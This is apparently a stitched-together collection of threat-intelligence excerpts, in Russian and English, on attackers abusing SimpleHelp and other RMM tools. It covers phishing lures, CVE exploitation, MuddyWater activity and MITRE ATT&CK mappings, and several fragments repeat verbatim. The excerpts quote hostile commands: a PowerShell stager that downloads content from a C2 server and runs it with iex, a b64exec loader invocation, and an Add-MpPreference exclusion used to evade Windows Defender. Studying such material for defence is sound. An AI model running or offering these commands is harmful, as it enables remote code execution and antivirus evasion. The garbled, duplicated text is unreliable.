SimpleHelp

self-hosted RMM-серверы, которые атакующие разворачивают на VPS (T1583.003 - Virtual Private Server, Resource Development)

The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.

Полная цепочка атаки выглядит так: фишинговая страница или SEO-poisoning -> жертва скачивает MSI-установщик RMM

T1078 (Valid Accounts) - атакующий использует trial или free аккаунт вендора как валидную учётную запись

the host held a seven-tool remote monitoring and management (RMM) arsenal for persistence, including ScreenConnect and SimpleHelp

T1190 — Exploit Public-Facing Application (Initial Access)

Полная цепочка атаки выглядит так: фишинговая страница или SEO-poisoning -> жертва скачивает MSI-установщик RMM

MuddyWater began using "fully signed" and legitimate RMM tools as part of its attack chain in 2020, often by including links in phishing emails designed to trick victims into downloading and executing RMM installers.

The attackers also used some typical commands related to the Impacket WMIExec hacktool... During that intrusion, it’s believed the attackers used WMI to launch the SimpleHelp installer on the victim network.

multiple ransomware groups, including initial access brokers with ties to Play ransomware operators, are also exploiting three vulnerabilities - CVE-2024-57727 - in remote monitoring and management tool SimpleHelp to conduct remote code execution

C:\Windows\Temp\mesch.exe run ... C:\Windows\Temp\mesch.exe b64exec ... C:\Windows\Temp\mesch.exe -fullinstall

T1078 (Valid Accounts) - атакующий использует trial или free аккаунт вендора как валидную учётную запись

the host held a seven-tool remote monitoring and management (RMM) arsenal for persistence, including ScreenConnect and SimpleHelp

установка агента (initial access + persistence через Windows-службу)

T1078 (Valid Accounts) - атакующий использует trial или free аккаунт вендора как валидную учётную запись

MITRE ATT&CK Matrix Technique ID Technique Name Observed Behavior T1134.001 Access Token Manipulation: Token Impersonation winlogon.exe token theft via session_win.exe

установка агента (initial access + persistence через Windows-службу)

MITRE ATT&CK Matrix Technique ID Technique Name Observed Behavior T1548.002 Abuse Elevation Control Mechanism: Bypass UAC elev_win.exe –runas via ShellExecuteEx

MITRE ATT&CK Matrix Technique ID Technique Name Observed Behavior T1027 Obfuscated Files or Information Hex-encoded C2 config in JWrapper launch properties

Even when the file is renamed to something like party_invite.exe , or Voicemailaudioext.exe ... A common lure is themed as a Social Security statement ( ssa.msi ) ... using lures such as a document ( docmentfilecsm_jw98evavuqm5gb3.exe ) or an IRS tax-related file ( IRS-Statement_Pr2ui4J9cfA6YEu.exe ).

T1078 (Valid Accounts) - атакующий использует trial или free аккаунт вендора как валидную учётную запись

MITRE ATT&CK Matrix Technique ID Technique Name Observed Behavior T1134.001 Access Token Manipulation: Token Impersonation winlogon.exe token theft via session_win.exe

They directed the SimpleHelp agent to search the desktop for cryptocurrency-related keywords, as well as keywords associated with remote access, "likely to detect if anyone was actively connecting to the machine."

With the remote control ability granted through exploitation of N-central, the threat actor deployed numerous RMM tools to accessible endpoints. These tools included AnyDesk, TacticalRMM, TeamViewer, RustDesk, SimpleHelp, and HopToDesk.

The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;

With the remote control ability granted through exploitation of N-central, the threat actor deployed numerous RMM tools to accessible endpoints.

The SimpleHelp remote access tool was also leveraged... The attackers also used a second legitimate remote access tool, AnyDesk...

Hackers used it to download SimpleHelp, from which they made commands including attempting to tamper with Windows Defender.

When mx.exe was uploaded, Defender initially quarantined the executable. The threat actor then made multiple attempts to add to the Defender exclusions list for the directory... Add-MpPreference -ExclusionPath "c:\windows"